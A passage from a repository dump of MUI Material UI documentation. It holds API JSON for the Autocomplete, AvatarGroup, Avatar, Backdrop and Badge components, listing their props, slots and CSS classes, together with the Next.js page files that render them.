React.SyntheticEvent, option: Value, reason: string) => void\",\n        \"describedArgs\": [\"event\", \"option\", \"reason\"]\n      }\n    },\n    \"onInputChange\": {\n      \"type\": { \"name\": \"func\" },\n      \"signature\": {\n        \"type\": \"function(event: React.SyntheticEvent, value: string, reason: string) => void\",\n        \"describedArgs\": [\"event\", \"value\", \"reason\"]\n      }\n    },\n    \"onOpen\": {\n      \"type\": { \"name\": \"func\" },\n      \"signature\": {\n        \"type\": \"function(event: React.SyntheticEvent) => void\",\n        \"describedArgs\": [\"event\"]\n      }\n    },\n    \"open\": { \"type\": { \"name\": \"bool\" } },\n    \"openOnFocus\": { \"type\": { \"name\": \"bool\" }, \"default\": \"false\" },\n    \"openText\": { \"type\": { \"name\": \"string\" }, \"default\": \"'Open'\" },\n    \"popupIcon\": { \"type\": { \"name\": \"node\" }, \"default\": \"<ArrowDropDownIcon />\" },\n    \"readOnly\": { \"type\": { \"name\": \"bool\" }, \"default\": \"false\" },\n    \"renderGroup\": {\n      \"type\": { \"name\": \"func\" },\n      \"signature\": {\n        \"type\": \"function(params: AutocompleteRenderGroupParams) => ReactNode\",\n        \"describedArgs\": [\"params\"]\n      }\n    },\n    \"renderOption\": {\n      \"type\": { \"name\": \"func\" },\n      \"signature\": {\n        \"type\": \"function(props: object, option: Value, state: object, ownerState: object) => ReactNode\",\n        \"describedArgs\": [\"props\", \"option\", \"state\", \"ownerState\"]\n      }\n    },\n    \"renderValue\": {\n      \"type\": { \"name\": \"func\" },\n      \"signature\": {\n        \"type\": \"function(value: AutocompleteRenderValue<Value, Multiple, FreeSolo>, getItemProps: function, ownerState: object) => ReactNode\",\n        \"describedArgs\": [\"value\", \"getItemProps\", \"ownerState\"]\n      }\n    },\n    \"selectOnFocus\": { \"type\": { \"name\": \"bool\" }, \"default\": \"!props.freeSolo\" },\n    \"size\": {\n      \"type\": {\n        \"name\": \"union\",\n        \"description\": \"'small'<br>&#124;&nbsp;'medium'<br>&#124;&nbsp;string\"\n      },\n      \"default\": \"'medium'\"\n    },\n    \"slotProps\": {\n      \"type\": {\n        \"name\": \"shape\",\n        \"description\": \"{ chip?: func<br>&#124;&nbsp;object, clearIndicator?: func<br>&#124;&nbsp;object, listbox?: func<br>&#124;&nbsp;object, paper?: func<br>&#124;&nbsp;object, popper?: func<br>&#124;&nbsp;object, popupIndicator?: func<br>&#124;&nbsp;object, root?: func<br>&#124;&nbsp;object }\"\n      },\n      \"default\": \"{}\"\n    },\n    \"slots\": {\n      \"type\": {\n        \"name\": \"shape\",\n        \"description\": \"{ clearIndicator?: elementType, listbox?: elementType, paper?: elementType, popper?: elementType, popupIndicator?: elementType, root?: elementType }\"\n      },\n      \"default\": \"{}\"\n    },\n    \"sx\": {\n      \"type\": {\n        \"name\": \"union\",\n        \"description\": \"Array&lt;func<br>&#124;&nbsp;object<br>&#124;&nbsp;bool&gt;<br>&#124;&nbsp;func<br>&#124;&nbsp;object\"\n      },\n      \"additionalInfo\": { \"sx\": true }\n    },\n    \"value\": { \"type\": { \"name\": \"custom\", \"description\": \"any\" } }\n  },\n  \"name\": \"Autocomplete\",\n  \"imports\": [\n    \"import Autocomplete from '@mui/material/Autocomplete';\",\n    \"import { Autocomplete } from '@mui/material';\"\n  ],\n  \"slots\": [\n    {\n      \"name\": \"root\",\n      \"description\": \"The component that renders the root.\",\n      \"default\": \"'div'\",\n      \"class\": \"MuiAutocomplete-root\"\n    },\n    {\n      \"name\": \"clearIndicator\",\n      \"description\": \"The component used to render the clear indicator element.\",\n      \"default\": \"IconButton\",\n      \"class\": \"MuiAutocomplete-clearIndicator\"\n    },\n    {\n      \"name\": \"popupIndicator\",\n      \"description\": \"The component used to render the popup indicator element.\",\n      \"default\": \"IconButton\",\n      \"class\": \"MuiAutocomplete-popupIndicator\"\n    },\n    {\n      \"name\": \"listbox\",\n      \"description\": \"The component used to render the listbox.\",\n      \"default\": \"'ul'\",\n      \"class\": \"MuiAutocomplete-listbox\"\n    },\n    {\n      \"name\": \"paper\",\n      \"description\": \"The component used to render the body of the popup.\",\n      \"default\": \"Paper\",\n      \"class\": \"MuiAutocomplete-paper\"\n    },\n    {\n      \"name\": \"popper\",\n      \"description\": \"The component used to position the popup.\",\n      \"default\": \"Popper\",\n      \"class\": \"MuiAutocomplete-popper\"\n    }\n  ],\n  \"classes\": [\n    {\n      \"key\": \"endAdornment\",\n      \"className\": \"MuiAutocomplete-endAdornment\",\n      \"description\": \"Styles applied to the endAdornment element.\",\n      \"isGlobal\": false\n    },\n    {\n      \"key\": \"expanded\",\n      \"className\": \"Mui-expanded\",\n      \"description\": \"State class applied to the root element if the listbox is displayed.\",\n      \"isGlobal\": true\n    },\n    {\n      \"key\": \"focused\",\n      \"className\": \"Mui-focused\",\n      \"description\": \"State class applied to the root element if focused.\",\n      \"isGlobal\": true\n    },\n    {\n      \"key\": \"focusVisible\",\n      \"className\": \"Mui-focusVisible\",\n      \"description\": \"Styles applied to the option elements if they are keyboard focused.\",\n      \"isGlobal\": true\n    },\n    {\n      \"key\": \"fullWidth\",\n      \"className\": \"MuiAutocomplete-fullWidth\",\n      \"description\": \"Styles applied to the root element if `fullWidth={true}`.\",\n      \"isGlobal\": false\n    },\n    {\n      \"key\": \"groupLabel\",\n      \"className\": \"MuiAutocomplete-groupLabel\",\n      \"description\": \"Styles applied to the group's label elements.\",\n      \"isGlobal\": false\n    },\n    {\n      \"key\": \"groupUl\",\n      \"className\": \"MuiAutocomplete-groupUl\",\n      \"description\": \"Styles applied to the group's ul elements.\",\n      \"isGlobal\": false\n    },\n    {\n      \"key\": \"hasClearIcon\",\n      \"className\": \"MuiAutocomplete-hasClearIcon\",\n      \"description\": \"Styles applied when the clear icon is rendered.\",\n      \"isGlobal\": false\n    },\n    {\n      \"key\": \"hasPopupIcon\",\n      \"className\": \"MuiAutocomplete-hasPopupIcon\",\n      \"description\": \"Styles applied when the popup icon is rendered.\",\n      \"isGlobal\": false\n    },\n    {\n      \"key\": \"input\",\n      \"className\": \"MuiAutocomplete-input\",\n      \"description\": \"Styles applied to the input element.\",\n      \"isGlobal\": false\n    },\n    {\n      \"key\": \"inputFocused\",\n      \"className\": \"MuiAutocomplete-inputFocused\",\n      \"description\": \"Styles applied to the input element if the input is focused.\",\n      \"isGlobal\": false\n    },\n    {\n      \"key\": \"inputRoot\",\n      \"className\": \"MuiAutocomplete-inputRoot\",\n      \"description\": \"Styles applied to the Input element.\",\n      \"isGlobal\": false\n    },\n    {\n      \"key\": \"loading\",\n      \"className\": \"MuiAutocomplete-loading\",\n      \"description\": \"Styles applied to the loading wrapper.\",\n      \"isGlobal\": false\n    },\n    {\n      \"key\": \"noOptions\",\n      \"className\": \"MuiAutocomplete-noOptions\",\n      \"description\": \"Styles applied to the no option wrapper.\",\n      \"isGlobal\": false\n    },\n    {\n      \"key\": \"option\",\n      \"className\": \"MuiAutocomplete-option\",\n      \"description\": \"Styles applied to the option elements.\",\n      \"isGlobal\": false\n    },\n    {\n      \"key\": \"popperDisablePortal\",\n      \"className\": \"MuiAutocomplete-popperDisablePortal\",\n      \"description\": \"Styles applied to the popper element if `disablePortal={true}`.\",\n      \"isGlobal\": false\n    },\n    {\n      \"key\": \"popupIndicatorOpen\",\n      \"className\": \"MuiAutocomplete-popupIndicatorOpen\",\n      \"description\": \"Styles applied to the popup indicator if the popup is open.\",\n      \"isGlobal\": false\n    },\n    {\n      \"key\": \"tag\",\n      \"className\": \"MuiAutocomplete-tag\",\n      \"description\": \"Styles applied to the tag elements, for example the chips.\",\n      \"isGlobal\": false\n    },\n    {\n      \"key\": \"tagSizeMedium\",\n      \"className\": \"MuiAutocomplete-tagSizeMedium\",\n      \"description\": \"Styles applied to the tag elements, for example the chips if `size=\\\"medium\\\"`.\",\n      \"isGlobal\": false\n    },\n    {\n      \"key\": \"tagSizeSmall\",\n      \"className\": \"MuiAutocomplete-tagSizeSmall\",\n      \"description\": \"Styles applied to the tag elements, for example the chips if `size=\\\"small\\\"`.\",\n      \"isGlobal\": false\n    }\n  ],\n  \"spread\": true,\n  \"themeDefaultProps\": true,\n  \"muiName\": \"MuiAutocomplete\",\n  \"filename\": \"/packages/mui-material/src/Autocomplete/Autocomplete.js\",\n  \"inheritance\": null,\n  \"demos\": \"<ul><li><a href=\\\"/material-ui/react-autocomplete/\\\">Autocomplete</a></li></ul>\",\n  \"cssComponent\": false\n}\n"
  },
  {
    "path": "docs/pages/material-ui/api/avatar-group.js",
    "content": "import * as React from 'react';\nimport ApiPage from 'docs/src/modules/components/ApiPage';\nimport mapApiPageTranslations from 'docs/src/modules/utils/mapApiPageTranslations';\nimport jsonPageContent from './avatar-group.json';\n\nexport default function Page(props) {\n  const { descriptions } = props;\n  return <ApiPage descriptions={descriptions} pageContent={jsonPageContent} />;\n}\n\nexport async function getStaticProps() {\n  const req = require.context(\n    'docs/translations/api-docs/avatar-group',\n    false,\n    /\\.\\/avatar-group.*\\.json$/,\n  );\n  const descriptions = mapApiPageTranslations(req);\n\n  return { props: { descriptions } };\n}\n"
  },
  {
    "path": "docs/pages/material-ui/api/avatar-group.json",
    "content": "{\n  \"props\": {\n    \"children\": { \"type\": { \"name\": \"node\" } },\n    \"classes\": { \"type\": { \"name\": \"object\" }, \"additionalInfo\": { \"cssApi\": true } },\n    \"component\": { \"type\": { \"name\": \"elementType\" } },\n    \"max\": { \"type\": { \"name\": \"custom\", \"description\": \"number\" }, \"default\": \"5\" },\n    \"renderSurplus\": {\n      \"type\": { \"name\": \"func\" },\n      \"signature\": {\n        \"type\": \"function(surplus: number) => React.ReactNode\",\n        \"describedArgs\": [\"surplus\"],\n        \"returned\": \"React.ReactNode\"\n      }\n    },\n    \"slotProps\": {\n      \"type\": { \"name\": \"shape\", \"description\": \"{ surplus?: func<br>&#124;&nbsp;object }\" },\n      \"default\": \"{}\"\n    },\n    \"slots\": {\n      \"type\": { \"name\": \"shape\", \"description\": \"{ surplus?: elementType }\" },\n      \"default\": \"{}\"\n    },\n    \"spacing\": {\n      \"type\": {\n        \"name\": \"union\",\n        \"description\": \"'medium'<br>&#124;&nbsp;'small'<br>&#124;&nbsp;number\"\n      },\n      \"default\": \"'medium'\"\n    },\n    \"sx\": {\n      \"type\": {\n        \"name\": \"union\",\n        \"description\": \"Array&lt;func<br>&#124;&nbsp;object<br>&#124;&nbsp;bool&gt;<br>&#124;&nbsp;func<br>&#124;&nbsp;object\"\n      },\n      \"additionalInfo\": { \"sx\": true }\n    },\n    \"total\": { \"type\": { \"name\": \"number\" }, \"default\": \"children.length\" },\n    \"variant\": {\n      \"type\": {\n        \"name\": \"union\",\n        \"description\": \"'circular'<br>&#124;&nbsp;'rounded'<br>&#124;&nbsp;'square'<br>&#124;&nbsp;string\"\n      },\n      \"default\": \"'circular'\"\n    }\n  },\n  \"name\": \"AvatarGroup\",\n  \"imports\": [\n    \"import AvatarGroup from '@mui/material/AvatarGroup';\",\n    \"import { AvatarGroup } from '@mui/material';\"\n  ],\n  \"slots\": [{ \"name\": \"surplus\", \"description\": \"\", \"class\": null }],\n  \"classes\": [\n    {\n      \"key\": \"avatar\",\n      \"className\": \"MuiAvatarGroup-avatar\",\n      \"description\": \"Styles applied to the avatar elements.\",\n      \"isGlobal\": false\n    },\n    {\n      \"key\": \"root\",\n      \"className\": \"MuiAvatarGroup-root\",\n      \"description\": \"Styles applied to the root element.\",\n      \"isGlobal\": false\n    }\n  ],\n  \"spread\": true,\n  \"themeDefaultProps\": true,\n  \"muiName\": \"MuiAvatarGroup\",\n  \"forwardsRefTo\": \"HTMLDivElement\",\n  \"filename\": \"/packages/mui-material/src/AvatarGroup/AvatarGroup.js\",\n  \"inheritance\": null,\n  \"demos\": \"<ul><li><a href=\\\"/material-ui/react-avatar/\\\">Avatar</a></li></ul>\",\n  \"cssComponent\": false\n}\n"
  },
  {
    "path": "docs/pages/material-ui/api/avatar.js",
    "content": "import * as React from 'react';\nimport ApiPage from 'docs/src/modules/components/ApiPage';\nimport mapApiPageTranslations from 'docs/src/modules/utils/mapApiPageTranslations';\nimport jsonPageContent from './avatar.json';\n\nexport default function Page(props) {\n  const { descriptions } = props;\n  return <ApiPage descriptions={descriptions} pageContent={jsonPageContent} />;\n}\n\nexport async function getStaticProps() {\n  const req = require.context('docs/translations/api-docs/avatar', false, /\\.\\/avatar.*\\.json$/);\n  const descriptions = mapApiPageTranslations(req);\n\n  return { props: { descriptions } };\n}\n"
  },
  {
    "path": "docs/pages/material-ui/api/avatar.json",
    "content": "{\n  \"props\": {\n    \"alt\": { \"type\": { \"name\": \"string\" } },\n    \"children\": { \"type\": { \"name\": \"node\" } },\n    \"classes\": { \"type\": { \"name\": \"object\" }, \"additionalInfo\": { \"cssApi\": true } },\n    \"component\": { \"type\": { \"name\": \"elementType\" } },\n    \"sizes\": { \"type\": { \"name\": \"string\" } },\n    \"slotProps\": {\n      \"type\": {\n        \"name\": \"shape\",\n        \"description\": \"{ fallback?: func<br>&#124;&nbsp;object, img?: func<br>&#124;&nbsp;object, root?: func<br>&#124;&nbsp;object }\"\n      },\n      \"default\": \"{}\"\n    },\n    \"slots\": {\n      \"type\": {\n        \"name\": \"shape\",\n        \"description\": \"{ fallback?: elementType, img?: elementType, root?: elementType }\"\n      },\n      \"default\": \"{}\"\n    },\n    \"src\": { \"type\": { \"name\": \"string\" } },\n    \"srcSet\": { \"type\": { \"name\": \"string\" } },\n    \"sx\": {\n      \"type\": {\n        \"name\": \"union\",\n        \"description\": \"Array&lt;func<br>&#124;&nbsp;object<br>&#124;&nbsp;bool&gt;<br>&#124;&nbsp;func<br>&#124;&nbsp;object\"\n      },\n      \"additionalInfo\": { \"sx\": true }\n    },\n    \"variant\": {\n      \"type\": {\n        \"name\": \"union\",\n        \"description\": \"'circular'<br>&#124;&nbsp;'rounded'<br>&#124;&nbsp;'square'<br>&#124;&nbsp;string\"\n      },\n      \"default\": \"'circular'\"\n    }\n  },\n  \"name\": \"Avatar\",\n  \"imports\": [\n    \"import Avatar from '@mui/material/Avatar';\",\n    \"import { Avatar } from '@mui/material';\"\n  ],\n  \"slots\": [\n    {\n      \"name\": \"root\",\n      \"description\": \"The component that renders the root slot.\",\n      \"default\": \"'div'\",\n      \"class\": \"MuiAvatar-root\"\n    },\n    {\n      \"name\": \"img\",\n      \"description\": \"The component that renders the img slot.\",\n      \"default\": \"'img'\",\n      \"class\": \"MuiAvatar-img\"\n    },\n    {\n      \"name\": \"fallback\",\n      \"description\": \"The component that renders the fallback slot.\",\n      \"default\": \"Person icon\",\n      \"class\": \"MuiAvatar-fallback\"\n    }\n  ],\n  \"classes\": [\n    {\n      \"key\": \"circular\",\n      \"className\": \"MuiAvatar-circular\",\n      \"description\": \"Styles applied to the root element if `variant=\\\"circular\\\"`.\",\n      \"isGlobal\": false\n    },\n    {\n      \"key\": \"colorDefault\",\n      \"className\": \"MuiAvatar-colorDefault\",\n      \"description\": \"Styles applied to the root element if not `src` or `srcSet`.\",\n      \"isGlobal\": false\n    },\n    {\n      \"key\": \"rounded\",\n      \"className\": \"MuiAvatar-rounded\",\n      \"description\": \"Styles applied to the root element if `variant=\\\"rounded\\\"`.\",\n      \"isGlobal\": false\n    },\n    {\n      \"key\": \"square\",\n      \"className\": \"MuiAvatar-square\",\n      \"description\": \"Styles applied to the root element if `variant=\\\"square\\\"`.\",\n      \"isGlobal\": false\n    }\n  ],\n  \"spread\": true,\n  \"themeDefaultProps\": true,\n  \"muiName\": \"MuiAvatar\",\n  \"forwardsRefTo\": \"HTMLDivElement\",\n  \"filename\": \"/packages/mui-material/src/Avatar/Avatar.js\",\n  \"inheritance\": null,\n  \"demos\": \"<ul><li><a href=\\\"/material-ui/react-avatar/\\\">Avatar</a></li></ul>\",\n  \"cssComponent\": false\n}\n"
  },
  {
    "path": "docs/pages/material-ui/api/backdrop.js",
    "content": "import * as React from 'react';\nimport ApiPage from 'docs/src/modules/components/ApiPage';\nimport mapApiPageTranslations from 'docs/src/modules/utils/mapApiPageTranslations';\nimport jsonPageContent from './backdrop.json';\n\nexport default function Page(props) {\n  const { descriptions } = props;\n  return <ApiPage descriptions={descriptions} pageContent={jsonPageContent} />;\n}\n\nexport async function getStaticProps() {\n  const req = require.context(\n    'docs/translations/api-docs/backdrop',\n    false,\n    /\\.\\/backdrop.*\\.json$/,\n  );\n  const descriptions = mapApiPageTranslations(req);\n\n  return { props: { descriptions } };\n}\n"
  },
  {
    "path": "docs/pages/material-ui/api/backdrop.json",
    "content": "{\n  \"props\": {\n    \"open\": { \"type\": { \"name\": \"bool\" }, \"required\": true },\n    \"children\": { \"type\": { \"name\": \"node\" } },\n    \"classes\": { \"type\": { \"name\": \"object\" }, \"additionalInfo\": { \"cssApi\": true } },\n    \"component\": { \"type\": { \"name\": \"elementType\" } },\n    \"invisible\": { \"type\": { \"name\": \"bool\" }, \"default\": \"false\" },\n    \"slotProps\": {\n      \"type\": {\n        \"name\": \"shape\",\n        \"description\": \"{ root?: func<br>&#124;&nbsp;object, transition?: func<br>&#124;&nbsp;object }\"\n      },\n      \"default\": \"{}\"\n    },\n    \"slots\": {\n      \"type\": {\n        \"name\": \"shape\",\n        \"description\": \"{ root?: elementType, transition?: elementType }\"\n      },\n      \"default\": \"{}\"\n    },\n    \"sx\": {\n      \"type\": {\n        \"name\": \"union\",\n        \"description\": \"Array&lt;func<br>&#124;&nbsp;object<br>&#124;&nbsp;bool&gt;<br>&#124;&nbsp;func<br>&#124;&nbsp;object\"\n      },\n      \"additionalInfo\": { \"sx\": true }\n    },\n    \"transitionDuration\": {\n      \"type\": {\n        \"name\": \"union\",\n        \"description\": \"number<br>&#124;&nbsp;{ appear?: number, enter?: number, exit?: number }\"\n      }\n    }\n  },\n  \"name\": \"Backdrop\",\n  \"imports\": [\n    \"import Backdrop from '@mui/material/Backdrop';\",\n    \"import { Backdrop } from '@mui/material';\"\n  ],\n  \"slots\": [\n    {\n      \"name\": \"root\",\n      \"description\": \"The component that renders the root.\",\n      \"default\": \"'div'\",\n      \"class\": \"MuiBackdrop-root\"\n    },\n    {\n      \"name\": \"transition\",\n      \"description\": \"The component that renders the transition.\\n[Follow this guide](https://mui.com/material-ui/transitions/#transitioncomponent-prop) to learn more about the requirements for this component.\",\n      \"default\": \"Fade\",\n      \"class\": null\n    }\n  ],\n  \"classes\": [\n    {\n      \"key\": \"invisible\",\n      \"className\": \"MuiBackdrop-invisible\",\n      \"description\": \"Styles applied to the root element if `invisible={true}`.\",\n      \"isGlobal\": false\n    }\n  ],\n  \"spread\": true,\n  \"themeDefaultProps\": true,\n  \"muiName\": \"MuiBackdrop\",\n  \"forwardsRefTo\": \"HTMLDivElement\",\n  \"filename\": \"/packages/mui-material/src/Backdrop/Backdrop.js\",\n  \"inheritance\": { \"component\": \"Fade\", \"pathname\": \"/material-ui/api/fade/\" },\n  \"demos\": \"<ul><li><a href=\\\"/material-ui/react-backdrop/\\\">Backdrop</a></li></ul>\",\n  \"cssComponent\": false\n}\n"
  },
  {
    "path": "docs/pages/material-ui/api/badge.js",
    "content": "import * as React from 'react';\nimport ApiPage from 'docs/src/modules/components/ApiPage';\nimport mapApiPageTranslations from 'docs/src/modules/utils/mapApiPageTranslations';\nimport jsonPageContent from './badge.json';\n\nexport default function Page(props) {\n  const { descriptions } = props;\n  return <ApiPage descriptions={descriptions} pageContent={jsonPageContent} />;\n}\n\nexport async function getStaticProps() {\n  const req = require.context('docs/translations/api-docs/badge', false, /\\.\\/badge.*\\.json$/);\n  const descriptions = mapApiPageTranslations(req);\n\n  return { props: { descriptions } };\n}\n"
  },
  {
    "path": "docs/pages/material-ui/api/badge.json",
    "content": "{\n  \"props\": {\n    \"anchorOrigin\": {\n      \"type\": {\n        \"name\": \"shape\",\n        \"description\": \"{ horizontal?: 'left'<br>&#124;&nbsp;'right', vertical?: 'bottom'<br>&#124;&nbsp;'top' }\"\n      },\n      \"default\": \"{\\n  vertical: 'top',\\n  horizontal: 'right',\\n}\"\n    },\n    \"badgeContent\": { \"type\": { \"name\": \"node\" } },\n    \"children\": { \"type\": { \"name\": \"node\" } },\n    \"classes\": { \"type\": { \"name\": \"object\" }, \"additionalInfo\": { \"cssApi\": true } },\n    \"color\": {\n      \"type\": {\n        \"name\": \"union\",\n        \"description\": \"'default'<br>&#124;&nbsp;'primary'<br>&#124;&nbsp;'secondary'<br>&#124;&nbsp;'error'<br>&#124;&nbsp;'info'<br>&#124;&nbsp;'success'<br>&#124;&nbsp;'warning'<br>&#124;&nbsp;string\"\n      },\n      \"default\": \"'default'\"\n    },\n    \"component\": { \"type\": { \"name\": \"elementType\" } },\n    \"invisible\": { \"type\": { \"name\": \"bool\" }, \"default\": \"false\" },\n    \"max\": { \"type\": { \"name\": \"number\" }, \"default\": \"99\" },\n    \"overlap\": {\n      \"type\": { \"name\": \"enum\", \"description\": \"'circular'<br>&#124;&nbsp;'rectangular'\" },\n      \"default\": \"'rectangular'\"\n    },\n    \"showZero\": { \"type\": { \"name\": \"bool\" }, \"default\": \"false\" },\n    \"slotProps\": {\n      \"type\": {\n        \"name\": \"shape\",\n        \"description\": \"{ badge?: func<br>&#124;&nbsp;object, root?: func<br>&#124;&nbsp;object }\"\n      },\n      \"default\": \"{}\"\n    },\n    \"slots\": {\n      \"type\": { \"name\": \"shape\", \"description\": \"{ badge?: elementType, root?: elementType }\" },\n      \"default\": \"{}\"\n    },\n    \"sx\": {\n      \"type\": {\n        \"name\": \"union\",\n        \"description\": \"Array&lt;func<br>&#124;&nbsp;object<br>&#124;&nbsp;bool&gt;<br>&#124;&nbsp;func<br>&#124;&nbsp;object\"\n      },\n      \"additionalInfo\": { \"sx\": true }\n    },\n    \"variant\": {\n      \"type\": {\n        \"name\": \"union\",\n        \"description\": \"'dot'<br>&#124;&nbsp;'standard'<br>&#124;&nbsp;string\"\n      },\n      \"default\": \"'standard'\"\n    }\n  },\n  \"name\": \"Badge\",\n  \"imports\": [\"import Badge from '@mui/material/Badge';\", \"import { Badge } from '@mui/material';\"],\n  \"slots\": [\n    {\n      \"name\": \"root\",\n      \"description\": \"The component that renders the root.\",\n      \"default\": \"span\",\n      \"class\": \"MuiBadge-root\"\n    },\n    {\n      \"name\": \"badge\",\n      \"description\": \"The component that renders the badge.\",\n      \"default\": \"span\",\n      \"class\": \"MuiBadge-badge\"\n    }\n  ],\n  \"classes\": [\n    {\n      \"key\": \"anchorOriginBottomLeft\",\n      \"className\": \"MuiBadge-anchorOriginBottomLeft\",\n      \"description\": \"Styles applied to the badge `span` element if `anchorOrigin={{ 'bottom', 'left' }}`.\",\n      \"isGlobal\": false\n    },\n    {\n      \"key\": \"anchorOriginBottomLeftCircular\",\n      \"className\": \"MuiBadge-anchorOriginBottomLeftCircular\",\n      \"description\": \"Styles applied to the badge `span` element if `anchorOrigin={{ 'bottom', 'left' }} overlap=\\\"circular\\\"`.\",\n      \"isGlobal\": false\n    },\n    {\n      \"key\": \"anchorOriginBottomLeftRectangular\",\n      \"className\": \"MuiBadge-anchorOriginBottomLeftRectangular\",\n      \"description\": \"Styles applied to the badge `span` element if `anchorOrigin={{ 'bottom', 'left' }} overlap=\\\"rectangular\\\"`.\",\n      \"isGlobal\": false\n    },\n    {\n      \"key\": \"anchorOriginBottomRight\",\n      \"className\": \"MuiBadge-anchorOriginBottomRight\",\n      \"description\": \"Styles applied to the badge `span` element if `anchorOrigin={{ 'bottom', 'right' }}`.\",\n      \"isGlobal\": false\n    },\n    {\n      \"key\": \"anchorOriginBottomRightCircular\",\n      \"className\": \"MuiBadge-anchorOriginBottomRightCircular\",\n      \"description\": \"Styles applied to the badge `span` element if `anchorOrigin={{ 'bottom', 'right' }} overlap=\\\"circular\\\"`.\",\n      \"isGlobal\": false\n    },\n    {\n      \"key\": \"anchorOriginBottomRightRectangular\",\n      \"className\": \"MuiBadge-anchorOriginBottomRightRectangular\",\n      \"description\": \"Styles applied to the badge `span` element if `anchorOrigin={{ 'bottom', 'right' }} overlap=\\\"rectangular\\\"`.\",\n      \"isGlobal\": false\n    },\n    {\n      \"key\": \"anchorOriginTopLeft\",\n      \"className\": \"MuiBadge-anchorOriginTopLeft\",\n      \"description\": \"Styles applied to the badge `span` element if `anchorOrigin={{ 'top', 'left' }}`.\",\n      \"isGlobal\": false\n    },\n    {\n      \"key\": \"anchorOriginTopLeftCircular\",\n      \"className\": \"MuiBadge-anchorOriginTopLeftCircular\",\n      \"description\": \"Styles applied to the badge `span` element if `anchorOrigin={{ 'top', 'left' }} overlap=\\\"circular\\\"`.\",\n      \"isGlobal\": false\n    },\n    {\n      \"key\": \"anchorOriginTopLeftRectangular\",\n      \"className\": \"MuiBadge-anchorOriginTopLeftRectangular\",\n      \"description\": \"Styles applied to the badge `span` element if `anchorOrigin={{ 'top', 'left' }} overlap=\\\"rectangular\\\"`.\",\n      \"isGlobal\": false\n    },\n    {\n      \"key\": \"anchorOriginTopRight\",\n      \"className\": \"MuiBadge-anchorOriginTopRight\",\n      \"description\": \"Styles applied to the badge `span` element if `anchorOrigin={{ 'top', 'right' }}`.\",\n      \"isGlobal\": false\n    },\n    {\n      \"key\": \"anchorOriginTopRightCircular\",\n      \"className\": \"MuiBadge-anchorOriginTopRightCircular\",\n      \"description\": \"Styles applied to the badge `span` element if `anchorOrigin={{ 'top', 'right' }} overlap=\\\"circular\\\"`.\",\n      \"isGlobal\": false\n    },\n    {\n      \"key\": \"anchorOriginTopRightRectangular\",\n      \"className\": \"MuiBadge-anchorOriginTopRightRectangular\",\n      \"description\": \"Styles applied to the badge `span` element if `anchorOrigin={{ 'top', 'right' }} overlap=\\\"rectangular\\\"`.\",\n      \"isGlobal\": false\n    },\n    {\n      \"key\": \"colorError\",\n      \"className\": \"MuiBadge-colorError\",\n      \"description\": \"Styles applied to the badge `span` element if `color=\\\"error\\\"`.\",\n      \"isGlobal\": false\n    },\n    {\n      \"key\": \"colorInfo\",\n      \"className\": \"MuiBadge-colorInfo\",\n      \"description\": \"Styles applied to the badge `span` element if `color=\\\"info\\\"`.\",\n      \"isGlobal\": false\n    },\n    {\n      \"key\": \"colorPrimary\",\n      \"className\": \"MuiBadge-colorPrimary\",\n      \"description\": \"Styles applied to the badge `span` element if `color=\\\"primary\\\"`.\",\n      \"isGlobal\": false\n    },\n    {\n      \"key\": \"colorSecondary\",\n      \"className\": \"MuiBadge-colorSecondary\",\n      \"description\": \"Styles applied to the badge `span` element if `color=\\\"secondary\\\"`.\",\n      \"isGlobal\": false\n    },\n    {\n      \"key\": \"colorSuccess\",\n      \"className\": \"MuiBadge-colorSuccess\",\n      \"description\": \"Styles applied to the badge `span` element if `color=\\\"success\\\"`.\",\n      \"isGlobal\": false\n    },\n    {\n      \"key\": \"colorWarning\",\n      \"className\": \"MuiBadge-colorWarning\",\n      \"description\": \"Styles applied to the badge `span` element if `color=\\\"warning\\\"`.\",\n      \"isGlobal\": false\n    },\n    {\n      \"key\": \"dot\",\n      \"className\": \"MuiBadge-dot\",\n      \"description\": \"Styles applied to the badge `span` element if `variant=\\\"dot\\\"`.\",\n      \"isGlobal\": false\n    },\n    {\n      \"key\": \"invisible\",\n      \"className\": \"MuiBadge-invisible\",\n      \"description\": \"State class applied to the badge `span` element if `invisible={true}`.\",\n      \"isGlobal\": false\n    },\n    {\n      \"key\": \"overlapCircular\",\n      \"className\": \"MuiBadge-overlapCircular\",\n      \"description\": \"Styles applied to the badge `span` element if `overlap=\\\"circular\\\"`.\",\n      \"isGlobal\": false\n    },\n    {\n      \"key\": \"overlapRectangular\",\n      \"className\": \"MuiBadge-overlapRectangular\",\n      \"description\": \"Styles applied to the badge `span` element if `overlap=\\\"rectangular\\\"`.\",\n      \"isGlobal\": false\n    },\n    {\n      \"key\": \"standard\",\n      \"className\": \"MuiBadge-standard\",\n      \"description\": \"Styles applied to the badge `span` element if `variant=\\\"standard\\\"`.\",\n      \"isGlobal\": false\n    }\n  ],\n  \"spread\": true,\n  \"themeDefaultProps\": true,\n  \"muiName\": \"MuiBadge\",\n  \"forwardsRefTo\": \"HTMLSpanElement\",\n  \"filename\": \"/packages/mui-material/src/Badge/Badge.js\",\n  \"inheritance\": null,\n  \"demos\": \"<ul><li><a href=\\\"/material-ui/react-avatar/\\\">Avatar</a></li>\\n<li><a href=\\\"/material-ui/react-badge/\\\">Badge</a></li></ul>\",\n  \"cssComponent\": false\n}\n"
  },
  {
    "path": "docs/pages/material-ui/api/bottom-navigation-action.js",
    "content": "import * as React from 'react';\nimport ApiPage from 'docs/src/modules/components/ApiPage';\nimport mapApiPageTranslations from 'docs/src/modules/utils/mapApiPageTranslations';\nimport jsonPageContent from './bottom-navigation-action.json';\n\nexport default function Page(props) {\n  const { descriptions } = props;\n  return <ApiPage descriptions={descriptions} pageContent={jsonPageContent} />;\n}\n\nexport async function getStaticProps() {\n  const req = require.context(\n    'docs/translations/api-docs/bottom-navigation-action',\n    false,\n    /\\.\\/bottom-navigation-action.*\\.json$/,\n  );\n  const descriptions = mapApiPageTranslations(req);\n\n  return { props: { descriptions } };\n}\n"
  },
  {
    "path": "docs/pages/material-ui/api/bottom-navigation-action.json",
